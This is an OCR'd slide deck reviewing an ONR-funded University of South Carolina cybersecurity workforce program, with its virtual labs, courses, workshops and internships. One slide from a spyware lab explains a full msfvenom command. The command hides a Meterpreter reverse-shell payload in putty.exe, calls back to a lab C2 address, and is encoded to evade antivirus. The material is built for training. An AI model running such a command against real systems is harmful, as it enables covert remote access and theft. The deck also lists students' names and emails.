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Program Snapshot

. hIS project helps address the shortage of cybersecurity professionals
opting for careers within the DoD

* The project has three objectives:
1. Expand the Academic Cloud to support large-scale learning and research nationwide

2. Advance formal and informal cyber communities and connect relevant organizations

3. Develop a multi-state internship program, leveraging and strengthening the Naval

Research Enterprise Internship Program (NREIP)
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Motivation

« A key element for the American military to help maintain superiority Is
the engineering support for information warfare

« Challenges
» Shortage of cybersecurity professionals
» Difficult to compete for the small number of cybersecurity professionals
> Lack of exposure to potential careers in the Navy and federal agencies
» Security clearance process may be time consuming

https://navalstem.us




Motivation

« Market demand; e.g., www.indeed.com

2% indeed.com/jobs?q=cyber+security&|=8ivjk=d8a7a955a1b11407

I‘ Q cyber security

9 City, state, zip code, or "remote”

Date posted = Remote = Pay = Jobtype *

Posted by = Experience level - Education

Upload your resume - Let employers find you

cyber security jobs

Sort by: relevance - date

14,308 jobs @

.

Tempest Manager :

Hyperion, Inc
Sumter, SC

$100,000 - $120,000 ayear Full-time +1 Monday to Friday +2

> Easily apply

o 7 or more years' of TEMPEST experience AND comprehensive knowledge of
TEMPEST, physical, information, and cyber security polices

Posted 30+ days ago

Tip: Enter your city or zip code in the "where" box to show results in your a

Developer skill +

Compensation package = Encouraged t

Tempest Manager
Hyperion, Inc. &
Sumter, SC
$100,000 - $120,000 a year - Full-time, Conti

o N

Job details

Here’s how the job details align with your profile [5

& Pay

$100,000 - $120,000 a year

https://navalstem.us




Motivation

« Market demand; e.g., www.indeed.com

Cyber Security Analyst : Cyber Security Specialist :
Pinal C t Zurka Interactive

inatt-ounty Hybrid remote in Washington, DC 20375
Florence, AZ 85132

$100,000 - $140,000 ayear Full-time Monday to Friday +2
$49,647-$76,953ayear Full-time

> Easily apply
o Qr other related cyber security training/accreditation/certification is highly

desirable o The candidate will work as part of a team responsible for engineering,
R N implementing, and maintaining cyber security and compliance solutions for the
o Ability to understand network security issues. Laborator
d d Y.

Posted 2 days ago More... Active 3 days ago

Microsegmentation Cyber Security Engineer V :

Navy Federal Credit Union 3.9 %
Winchester, VA 22602

$129,100 - $229,925 ayear Monday to Friday

> Expert knowledge of cyber security/information security engineering.
Extensive experience with multiple cyber security
detectionftechnologies/tools.

Posted 16 days ago

View similar jobs with this employer

https://navalstem.us




Motivation

sy gyt

* Requirement examples

Qualifications:

Required:

- Current U.S. Government Top Secret clearance with SCl eligibility.
- Favorably adjudicated Polygraph.

- Bachelor of Science Degree in Science, Technology, Engineering, or Mathematics (STEM) or an
Information Assurance (l1A) certification (Security+, Network+, CISSP).

-DoD 8570 certification in IAT or IAM.

- Experience implementing RMF Process and NIST 800-53 technical controls, as well as
developing and maintaining associated certification and accreditation documentation.

Qualifications

* Bachelor's degree in Computer Science, Information Assurance, Information Security
System Engineering, or related discipline from an accredited college or university is
required. Four (4) years of ISSE experience may be substituted for a bachelor's degree.

e Seven (7) years' experience as an ISSE on programs or contracts of similar scope, type, and
complexity is required.

e Ableto a pply knowledge of |1A policy, procedures, and workforce structure to design,
develop, and implement secure networking, computing, and enclave environments

¢ DOD 8570 compliance with IASAE Level 2 is required.

e Current TS/SCI clearance with polygraph is required

o (ISSP Certification is required.

navalstem.us




Naval Relevance

* The project prepares students for positions in the Navy, agencies, and
businesses, including
— Department of Defense
— National Laboratories
— Naval Information Warfare Center (NIWC) Atlantic
— Public and private businesses

https://navalstem.us




Naval Relevance

* The project helps train professionals from organizations including
— National Guard
— Cyber and Information Advantage Battalion (CIAB)
— National Laboratories

https://navalstem.us




Naval Relevance

« The project strengthens the college-workforce pipeline by creating an internship
program

— Pre-internship with participation from employers during the spring and fall
— 400-hour internship during the summer

Visit to the Defense Information Systems Agency
(DISA), DISA headquarters

https://navalstem.us




Naval Partnership

« Naval Information Warfare Center (NIWC) Atlantic
— Charleston, SC
« ESnet / Lawrence Berkeley National Laboratory (LBNL) / Department of
Energy
- Berkeley, CA

w-mh ml-

:\M”\ﬂl

Training for the New York State Education and
Research Network (NYSERNET), Manhattan
College, Jan. 2024

https://navalstem.us




Performance Review

Objective 1: Expand the Academic Cloud to support large-scale
learning and research nationwide

https://navalstem.us



Performance Review

learning and research nationwide

 The Academic Cloud is a purpose-built distributed cloud system for
education and research

» Learners only require access to the Internet and to login into the system
using a regular browser

* It serves all the organizations involved in this project

Date/Time Q Description

£ 2020-11-26 16:48 Class: Cybertraining LEARN September 2020

£ 2020-11-26 20:00 Lab: Lab 8: perfSONAR Monitoring and Debugging Dashboard
[ & @ 2hrs., 51 mins.

Type: Instructor
erfS@NAR
Enter Lab © \Jser: Jorge Crichigno P
T

Cyberinfrastructure
Lab @ UofSC

ient ¥ O perfSONART v O perfSONAR2 ~

ent03 Linux 7 (Core)
[Kernel 3.18.8-514.2.2 €17 .x86_64 on an xB6_64

pod-—ur login:

https://navalstem.us



Performance Review

learning and research nationwide

* The project develops virtual labs on C4ISR topics

» The project is also deploying virtual labs on topics required to obtain DoD’s 8570
baseline certificates?
» Information Assurance Technical (IAT)
» Cybersecurity Service Provider (CSSP)
» CSSP Incident Responder
» Certified Support Technician Cybersecurity

Approved Baseline Certifications
IAT Level I IAT Level 117 IAT Level 11l

A+CE CCNA-Security CASP+CE
CCNA-Security CySA+™" CCNP Security
CND GICSP ClsA
MNetwork+ CE GSEC CISSP (or Associate)
SSCP Security+ CE GCED

CND GCIH

SSCP CCSP

https://navalstem.us
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Performance Review

5

jective 1. Expand the Academic Cloud to support large-scale
learning and research nationwide

* The project develops virtual labs on C4ISR topics

« The project is also deploying virtual labs on topics required to obtain DoD’s 8570
baseline certificates?
» Information Assurance Technical (IAT)
» Cybersecurity Service Provider (CSSP)
» CSSP Incident Responder
» Certified Support Technician Cybersecurity

Cybersecurity courses with content for DoD’s Approved 8750 baseline certifications

CSSP CSSP Incident Security NICE Framework
Course |AT 1-2 .
Analyst Responder Plus Objectives
Intro to Computer Security v v
Cybersecurity Operations v v v
Intro to Networks v 4 v v
IT Security for Managers 4 v
Advanced Net. and Sec. v v v v

NICE stands for National Initiative for Cybersecurity Education

https://navalstem.us




DEMO - Cloud System

https://navalstem.us




Demo — USC'’s Cloud System

https://navalstem.us




Performance Review

learning and research nationwide

Cybersecurity Fundamentals Lab Library

Lab 1: Reconnaissance and Vulnerability Assessment Lab 11: Public Key Infrastructure

Lab 2: Remote Access Trojan (RAT) Lab 12: Configuring a Stateful Packet Filter using iptables
Lab 3: Escalating Privileges and Installing a Backdoor Lab 13: Online Dictionary Attack against a Login Webpage
Lab 4: Collecting Information with Spyware Lab 14: Intrusion Detection and Prevention using Suricata
Lab 5: Social Engineering Attacks Lab 15: Packet Sniffing and Relay Attack

Lab 6: SQL Injection Attack on a Web Application Lab 16: DNS Cache Poisoning

Lab 7: Cross-site Scripting (XSS) Attack Lab 17: Man in the Middle Attack using ARP Spoofing

Lab 8: DoS Attacks: SYN Flood, Smurf attack, SlowLoris Lab 18: Understanding Buffer Overflow Attacks

Lab 9: Cryptographic Hashing - Symmetric Encryption Lab 19: Conducting Offline Password Attacks

Lab 10: Asymmetric Encryption

https://navalstem.us




© Not zecure  hkitps://10.173.78.50/Iab-content.cgi?res_id=31355&ex_id=)JGOMEZ_0050_56AE_2F47_6305_5037_0004

[k

= Lab_4 Collecting_Information_with_Sp... 10 /33 - 125% + [EI RS}

|
h

D - =1 h C dlgurme O O dia oerowad eXpranicd ds Tonows.

e [ca =8¢} specifies the architecture of the target victim, which is in this case.

e [-platform windows| specifies the platform of the target victim (e.g., Linux,
Android, Apple iOS, etc.). Since the victim is using a Windows 10 machine, the
specified platform is gindows].

e [x putty.exe]: specifies an executable file to attach the malicious payload to.

We will use putty, a popular program that allows the user to configure machines

via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++,

Word application).

EX: preserves the template behavior (putty.exe) and injects the payload

(reverse_tcp) as a new thread.

® [p windows/meterpreter/reverse tcp specifies the payload to use, which is
in this case a reverse_tcp session.

e [LHOST=216.0.0.10]: specifies the IP address through which the attacker will
listen for reverse_tcp session connections. This is the IP address of the C2 server.

o [LPorT=4444] specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

e [ x86/shikata ga nai| specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
time. This helps evading some weak Antivirus and Antimalware products.

e [L 3} specify the number of times to encode the payload.

e [b ™\x007: specify the characters to avoid (i.e.,, bad characters). These are
characters known to make the shell or application crash.

e [£ exel specify the output format (windows executable).

e [o puttyX.exe| save the payload to a file named puttyX.exe.

msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata_ga nai -i 3 -b “\x00” -f exe -o puttyX.exe

v [ nemLas- X  + =
<« C  © Notsecure hitps;//10.173.78.50/lab.cgi v D 0 @  NewChromeavaiable
Gmail @B YouTube @ Maps  [lf Special Topicsin Int.. B Translate [ rout el Build a Fast Networ »

[ All Bookmarks

UNIVERSITY OF

SOUTH CAROLINA

MyNETLAB > CyberSec_H1_12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and

@ Home Reservation v & ekfoury v

Keyloggers

Time Remaining

2 53

hrs. min.

RGN & Content ~ o2 Status O Victim ~ S BR/FW ~ 0 Attacker ~ O Web server ~

L DNSserver ¥ L Mail server ~

Internal network

Victim

192.168.0.0/24 216.0.0.0/16

Web DNS Mail
server server server

172.16.0.0/16

Demo — Cybersecurity Fundamentals
Lab 4: Collecting Information with Spyware

navalstem.us




Performance Review

learning and research nationwide

Information about lab libraries is available at https://research.cec.sc.edu/cyberinfra/cybertraining

s Cybersecurity Fundamentals (19 lab experiments, 496-page companion booklet)

2. P4-DPDK Security (8 lab experiments, 200-page companion booklet)

3. P4-perfSONAR (8 lab experiments, 239-page companion booklet)

4. Zeek IDS/IPS

5. Cybersecurity Applications on P4 Programmable Data Planes

6. P4 Programmable Data Planes: Applications, Stateful Elements, Custom Packet Processing

7. Introduction to P4 Programmable Data Plane Switches

8. Introduction to P4 Programmable Data Plane Switches with Intel’s Tofino

9. Software-defined Networking (SDN)

10. Network Management Tools O

11.  Network Tools and Protocols st

12.  perfSONAR 5 s High-Speed
13. Introduction to IPv6 ' Networks: A
14. Introduction to OSPF e High-Speed Networks: A Tutorial Tutorial

15.  Introduction to BGP P e ke

16. MPLS and Advanced BGP = L o

17. Open Virtual Switch e N * o

18.  Introduction to P4-DPDK / Online portal to access the lab

19. High-speed Networking, a Tutorial experiments associated with this library:

https://www.highspeednetworks.net/

https://navalstem.us
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Performance Review

learning and research nationwide

» The Academic Cloud supports Objectives 2 and 3

* It serves multiple communities (formal and informal learning)
— 10,628 lab experiments executed during year 2
— 30,274.57 hours of lab experiments during year 2

# Home & administrator ~

Admin > Usage > Community Usage > List

l## Community Usage Search

D “ | Name Reservations Made Labs Attended Hours Reserved Hours Attended
University of South Carolina 11080 10628 71578.93 30274.57
Page Total: 11080 10628 71578.93 30274.57
Table Total: 11080 10628 71578.93 30274.57

Showing 1to 1 of 1items

Lab utilization — October 1, 2023 — September 30, 2024

https://navalstem.us




Performance Review

Objective 2: Advance formal and informal cyber communities and
connect relevant organizations

https://navalstem.us




Performance Review

connect relevant organizations

« Formal academic courses at University of South Carolina (USC), University of
Texas San Antonio (UTSA), and South Carolina State University (SCSU)

Fall 2023:
» IT 445 Advanced Networking and Cybersecurity (65 students, USC)
» IT 493 IT Security (26 students, USC)
» IS 3423 Network Security (54 students, UTSA)
» CSM 188 Fundamentals of Cybersecurity (17 students, SCSU)
» CSC 2362 - Intro to Cybersecurity and Defense (70 students, LSU)
Spring 2024:
» IT 293 Cybersecurity Operations (64 students, USC)
IT 445 Advanced Networking and Cybersecurity (60 students, USC)
IT 493 IT Security (26 students, USC)
IT 540 Cloud Computing and Virtualization (18 students, USC)
IT 742 Enterprise Network Management (7 students, USC)
CSM 188 Fundamentals of Cybersecurity (8 students, SCSU)
CS 325 Computer Forensics (8 students, SCSU)
CS 335 Cryptography and Network Security (7 students, SCSU)
CS 425 Application of Data Security and Privacy (8 students, SCSU)

YV V V V VYV V V V

https://navalstem.us — _“;1.



Performance Review

Objective 2: Advance formal and informal cyber communities and
connect relevant organizations

https://navalstem.us



Performance Review

6F- £ GEER

Objective 2: Advance formal and informal cyber communities and
connect relevant organizations

« Twelve-week C4ISR research experience (formal learning)
— TOTAL (USC and SCSU): 25 students

Tea Deliverables
m

1 Nolan Pelino npelino@email.sc.edu Implementing Video, PPT, Poster Ali AlSabeh
Connection aalsabeh@email.sc.edu
Tracking Service
using a P4
PI’OjeCtS Fa” Andrew Smith | ats29@email.sc.edu Programmable

Switch Switch

2023 - USC (BDE)

2 Yousef Afshar yafshar@email.sc.edu Protecting a Web Video, PPT, Poster Jose Comez
Application gomezgaj@email.sc.edu
against Brute-

Chasey chaseyk@email.sc.edu
Kilcrease force Attacks
(BDE)
3 Jacob Sherer jsherer@email.sc.edu DDoS Defense Video, PPT, Poster Ali Mazloum
using NGFW amazloum@email.sc.edu
Matthew mkleeman@emailsced | (ppF)
Kleeman u
4 Denzel Martin | denzelm@email.sc.edu Reconnaissance Video, PPT, Poster Ali Mazloum
Protection (PDF) amazloum@email.sc.edu

Favour Agho fagho@email.sc.edu

https://navalstem.us




Performance Review

Objectlve 2. Advance formal and informal cyber communities and
connect relevant organizations

« Twelve-week C4ISR research experience (formal learning)
— TOTAL (USC and SCSU): 25 students

Nathaniel Auten ncauten@email.sc.edu BGP Hijacking (PDE, Jose Comez
Poster, Video)
Rick Jiang riiang@mailpox.sc.edu ([gomezgaj@email.sc.edu)
PrOJeCtS 2 Maryelizabeth mm210@email.sc.edu UDP abuses (BDF, Samia Choueiri
Sprlng 2024 - McDonald Poster, Video)
USC (choueiri@email.sc.edu)
William Ferri wferri@email.sc.edu
3 John Mullen jmmullen@email.sc.edu SYN Attacks (PDF, Al Mazloum
Poster, Video)
Andrea Capraru acapraru@email.sc.edu (amazloum@email.sc.edu)
4 Chris Moore cpmlZ2@email.sc.edu DNS Attack (PDF, Ali AlSabeh
Poster, Video)
DeAngelo Clark dmclark@email.sc.edu (aalsabeh@email.sc.edu)

https://navalstem.us




Objective 2: Advance formal and informal cyber communities and

Performance Review

connect relevant organizations

« Twelve-week C4ISR research experience (formal learning)
— TOTAL (USC and SCSU): 25 students

https://navalstem.us

UNIVERSITY
South Carolin:

BGP Hijacking

Students: Nathaniel Auten, Rick Jiang

Advisors: Jose Gomez, Jorge Crichigno

Integrated Information Technology Department, University of South Carolina, Columbia, South Carolina

Abstract

This praject
Barder Catewsy
This praject sha

he conzaquences of such sttacks, including s=rvice
rveillance, and data imerception.

wtation of defs mechanisms using open-
mbined with a Next Generation Firewall (NGP&)

disruptians, tr

It emplores the

source router:

The prap
thereby impraving netaork s=curity.
Th
atiachs and sveluating the resilic

solution  mitigates  BGP  Hijacking  attempts

effectiveness of th

ures are sssessed by =mulating
e of the netwarks to suc

™y

threats

Test System

= The devices we implemented for this project include two mock
servers, an end device running Kali Linux, a Palo Aho Next Genaration

Firmwall, three switches, and three routers running FRR.

= Qur tapology includes three LAMs and a representation far the ISP
The Headquarters LAN consists of a server, switch, and NGPW that is
connected w0 the I5Fs router. The Branch Office contains a sanver,
swdtch, and standard router. The Unknawn Organization, representing
& malicious actar, contains the attacker end device, & switch, and a
standard router.

= The Palo Alto NGPW and routers can all be figured with various BGP

Project example

Mitigation Technique

The canfiguration shewn below is the technigque called AS-path
filtering

This technique is emplayed to define a set of rules that the router
fallews to decide which paths to accept when exchanging route
infarmaticn with other routers.

t's like a list of directions for the router, telling it to only use roads
that considerad and 1o avoid the ares that are not trusted.

The highlighted parts indicate specific AS numbers to be permitted
effectively guiding the data traffic through knewn, reliable paths and
preventing it fram straying inta potentially risky areas in the rauters.
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Objective 2: Advance formal and informal cyber communities and
connect relevant organizations

« Twelve-week C4ISR research experience (formal learning)
— TOTAL (USC and SCSU): 25 students

https://navalstem.us




Performance Review

connect relevant organizations

« Twelve-week C4ISR research experience (formal learning)
— TOTAL (USC and SCSU): 25 students

https://navalstem.us




Performance Review

Obective 2. Advance formal and informal cyber communities and

connect relevant organizations
« Workshops and tutorials (informal learning)

Workshop Title and Location| Format Dates URL Attend. |Co-organizers
Hands-on Workshop on IPv6 Sep. 11-12, LBNL/ESnet,

1 |and CI Training, Ft. Collins, CO F2F 2024 https://tinyurl.com/53v7nurx 42 |CSU
Hands-on Workshop on Science

2 DMZ and P4-DPDK Online  |Aug. 6-8, 2024 |https://tinyurl.com/ahcpwkmu 159 |LBNL / ESnet
Hands-on Workshop on
Cybersecurity / Security+ and June 17-June

3 [IPv6 Online 21, 2024 https://tinyurl.com/2s48zpnk 96 |WASTC, NDG
Workshop on Network Internet2,

4 [Technologies, Washington DC F2F May 31, 2024 |ttps://tinyurl.com/4mkcem75 30 |[MSCC
IPv6 and Network Technologies
Workshop, Manhhatan College, Feb. 15-16, LBNL / ESnet,

5 INew York City, NY F2F 2024 https://tinyurl.com/mwktjfw6 33  INYSERNET
Seminar on Virtual Labs for
Cybersecurity, University of University of

6 |South Florida, Tampa, FL F2F Feb. 9, 2024 |https://tinyurl.com/uv2zr5py 25 |South Florida
Cybersecurity (Security+) and
P4 Programmable Switches

7 January 2024, San Jose, CA F2F Jan 4-5, 2024 |ttps://tinyurl.com/3dbp47tj 47 WASTC

TOTAL.: 432
WASTC: Western Academy Support and Training Center CSU: Colorado State University
NYSERNET: New York State Network MSCC: Minority Serving Cyberinfrastructure Consortium

LBNL: Lawrence Berkeley National Laboratory

https://navalstem.us




Performance Review

connect relevant organizations
» Workshops and tutorials (informal learning)

Workshop co-organized with Lawrence Berkeley National Laboratory and Colorado State University, Fort
Collins, CO, September 11-12, 2024.

https://navalstem.us




Performance Review

connect relevant organizations
» Workshops and tutorials (informal learning)

Workshop co-organized with the Minority Serving Cyberinfrastructure Consortium (MS-CC) and Internet2,
Washington DC, May 31, 2024.

https://navalstem.us




Performance Review

connect relevant organizations
» Workshops and tutorials (informal learning)

Workshop co-organized with the New York State Education and Research Network (NYSERNET) and
Lawrence Berkeley National Laboratory (LBNL), Manhattan College, New York — NY, Feb. 15-16, 2024.

https://navalstem.us




Performance Review

connect relevant organizations
» Workshops and tutorials (informal learning)

Workshop co-organized with the Western Academy Support and Training Center
(WASTC), San Jose — CA, Jan. 4-5, 2024.

https://navalstem.us




Performance Review

connect relevant organizations

« Training at the U.S. National Guard, National Guard Professional Education
Center (PEC), Cyber and Information Advantage Battalion (CIAB)

>
>
>
>
>

>

VMWare virtualization Fundamentals (vSphere ICM 7), Sep. — Nov. 2023: 16 learners
VMWare virtualization Fundamentals (vSphere ICM 7), Oct. — Dec. 2023: 2 learners
VMWare virtualization Fundamentals (vSphere ICM 8), Dec 2023 — Feb 2024: 16 learners
VMWare virtualization Fundamentals (vSphere ICM 8), May 2024 — July 2024: 10 learners
VMWare virtualization Fundamentals (vSphere ICM 8), Feb. 2024 — May 2024: 8 learners
VMWare virtualization Fundamentals (vSphere ICM 8), Aug. 2024 — Oct 2024: 14 learners

» Training at the Naval Information Warfare Center (NIWC) Atlantic:

https://navalstem.us

>

VMWare virtualization Fundamentals (vSphere ICM 8), Aug. 2024 — Oct 2024: 20 learners

TOTAL: 86 learners
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jective 3. Develop a multi-state internship program, leveraging
and strengthening the Naval Research Enterprise Internship
Program (NREIP)

Pre-internship

Seminars

Spring and Fall semesters Summer semester
(Monday-Wednesday-Friday) (400 hours)

https://navalstem.us




Performance Review

and strengthening the Naval Research Enterprise Internship
Program (NREIP)

« Speakers visited USC campus, two or three times per week (~35 speakers per
semester, 70+ overall for year 2). Speakers’ visits were broadcasted to SCSU

« Pentagon, Navy, FBI, Savannah River National Lab, etc.

nm;:%l 1

P
South Carolina ﬂLSU Pre-Internship Seminar - Fall 2023
Organizers Venue
University of South Carolina (USC) Address: 550 Assembly 5t., Columbia, 5C 29201
Lousiana State University (LSU) Building: Innovation Center
South Carolina State University (SCSU) Room: 1400

University of South Carolina (USC)

28-Aug-23 FEDEX Lorie Brown [Slides], [Video]
30-Aug-23 CAPGEMINI Anna Vanduzer [Slides], [Video]
1-Sep-23 COMPANION DATA Lola Jordan [Slides], [Audio]
6-Sep-23 LAND INTELLIGENCE Gore Bolton [Slides], [Video] [PDF]

https://research.cec.sc.edu/cyberinfra/pre-internship-seminar

https://navalstem.us
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Performance Review

and strengthening the Naval Research Enterprise Internship
Program (NREIP)

« Speakers visited USC campus, two or three times per week (~35 speakers per
semester, 70+ overall for year 2). Speakers’ visits were broadcasted to SCSU

« Pentagon, Navy, FBI, Savannah River National Lab, etc.

Pre-Internship Seminar - Spring 2024

Hﬁll ’L)
South Carolina ﬂLSU Pre-Internship Seminar - Spring 2024
Organizers Venue
University of South Carolina (USC) Address: 550 Assembly St., Columbia, SC 29201
Lousiana State University (LSU) Building: Innovation Center
South Carolina State University (SCSU) Room: 1400

University of South Carolina (USC)

Jan-12 Red Hat Mike Savage [Video]
Jan-17 FBI Carl Cuneo [Videg]
Jan-19 Pentagon [Videg]

https://research.cec.sc.edu/cyberinfra/pre-internship-seminar-spring-2024

https://navalstem.us - —= - P >k—(
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Performance Review

jective 3. Develop a multi-state internship program, leveraging
and strengthening the Naval Research Enterprise Internship
Program (NREIP)

e 76 Interns

« 59 companies / organizations

Companies located in 12 states: SC, NC, FL, VA, GA, MN, RI, NH,
MA, PA, MI, DE

Wages reported for 65 students
Wages between $38.50 — $10.00
Average wage was $20.66

https://navalstem.us




Naval Relevance

* The project creates a Naval STEM workforce pipeline

« Graduates are recruited by a variety of employers and agencies that
require cybersecurity experts, including
— Department of Defense
— National Laboratories
— Naval Information Warfare Center (NIWC) Atlantic
— Businesses

Matt Driver

Ty Love-Baker Cyber Operations Officer | Cyber Security Engineer | Sec
1stLt at United States Marine Corps - . n

. clumbia, South Carolina. United States - Contact info
trict of Columbia, United States - Contact info

https://navalstem.us




Naval Relevance

* The project creates a Naval STEM workforce pipeline

« Graduates are recruited by a variety of employers and agencies that
require cybersecurity experts, including
— Department of Defense
— National Laboratories
— Naval Information Warfare Center (NIWC) Atlantic
— Businesses

>

Anaia Prather ©ne/mer Dillon B. tHe/Him
Chief of Staff at U.S. Department of State Security Analyst Intern
Washington, District of Columbia, United States - Contact info United States - Contact info
519 followers - 467 connections 155 connections

https://navalstem.us




Naval Relevance

* The project creates a Naval STEM workforce pipeline

« Graduates are recruited by a variety of employers and agencies that
require cybersecurity experts, including
— Department of Defense

National Laboratories
— Naval Information Warfare Center (NIWC) Atlantic
— Businesses

Gabriella Pinto @ Jack Sadle

Cybersecurity Consultant at Palo Alto Networks 25A Slgnal Officer, US Army Reserve

olitan Area - Contact info sreater Augusta Area - Contact info

https://navalstem.us




Naval Relevance

* The project creates a Naval STEM workforce pipeline

« Graduates are recruited by a variety of employers and agencies that
require cybersecurity experts, including
— Department of Defense
— National Laboratories
— Naval Information Warfare Center (NIWC) Atlantic
— Businesses

Dakota McDaniels Brian N.
Al @ Robinhood SOC Team Lead

: - . h Carolina, United States + Contact info
Inited States + Contact info = Conta

https://navalstem.us




Best Practices / Additional Results

* The ONR project enabled the deployment of state-of-the-art equipment
(programmable data plane (PDP) switches) on USC’s cloud system

« PDPs are also used by the Pronto project, a DoD’s funded testbed:
https://prontoproject.org/

« The project has developed novel PDP applications for network
performance and cybersecurity

* The technology enables engineers to produce network measurements
with high precision



https://prontoproject.org/

Demo — High-precision Measurements

https://navalstem.us




Preparing Cyber Warfare Professionals by Integration of Curriculum,
Experiences, and Internships

Jorge Crichigno — University of South Carolina
https://research.cec.sc.edu/cyberinfra/projects/ONR

[ Description:
ifl South Carolina Ly : . . .
o —— - The project addresses the shortage of cybersecurity professionals. The project
A S G has three objectives:
@ 1. Expand the Academic Cloud to support large-scale learning and research
g aote nationwide

we 2. Advance formal and informal cyber communities and connect relevant
organizations

N DG Cyber

] @SRNL Naval 3. Develop a multi-state int.ernship program, leveraging and strengthening the

Private % paloalto =onihiL 8 partners Naval Research Enterprise Internship Program (NREIP)

sector BERKELEY LAB ‘
alvalne e
CIsCO N

dws
Naval Relevance: Major Accomplishments:
The project 3 additional virtual lab libraries have been deployed in the Academic Cloud system. The

: system supports several formal and informal communities
* Increases engagement in areas related to C4ISR v PP

. - e . 1 * 11 courses (total enrollment > 400 students) from 4 universities (USC, SCSU, UTSA,
» Trains military-connected communities and professionals in general LSU) have incorporated material on C4ISR (formal community)
on communications and networks, cybersecurity operations and

: . » 25 students conducted undergraduate research on C4ISR (formal community)
warfare, information technology

] ) ; ) » 76 students completed 400-hour internships (formal community)
e Partners with national laboratories and the Naval Information Warfare

. : . | IT professional 7 ksh ing th ial | i
Center (NIWC) to develop new technlques for detectlng cyber attacks 432 learners (IT professionals) attended 7 workshops covering the material developed in

this project. 2 workshops were online, and 5 workshops were onsite at: California,

. Creates a pipeline of cyber-professionals Colorado, New York, Florida, and Washington DC (informal community)

" : sk . » 86 military-connected learners completed training courses using the Academic Cloud,
* Supports communities of practice by providing a training platform and including military personnel from the U.S. National Guard, Cyber and Information

material relevant to IT and cybersecurity Advantage Battalion (CIAB), and personnel from the Naval Information Warfare Center
(NIWC) Atlantic (formal + informal communities)

* Technology developed in the project has been deployed on a DARPA-funded project
Grant NO0014-23-1-2245

Reporting period: October 1, 2024 — Sep. 30, 2024

https://navalstem.us


https://research.cec.sc.edu/cyberinfra/projects/ONR
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